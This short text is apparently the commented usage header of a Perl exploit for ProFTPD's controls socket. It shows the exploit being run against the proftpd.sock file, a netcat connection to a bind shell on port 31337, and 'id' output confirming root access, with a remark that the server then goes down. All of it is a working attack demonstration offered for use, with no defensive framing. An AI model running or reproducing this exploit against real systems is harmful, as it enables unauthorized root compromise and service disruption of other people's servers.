# revenge@eleusi~$ ./revenge_proftpd_ctrls.pl /usr/local/var/proftpd/proftpd.sock 1
# [ wait some secs then nc on port 31337 ]
# anyone@anywhere:~$ nc <host> 31337
# id
# uid=0(root) gid=0(root) groups=65534(nogroup)
# exit
# [ after that server will deactivate ]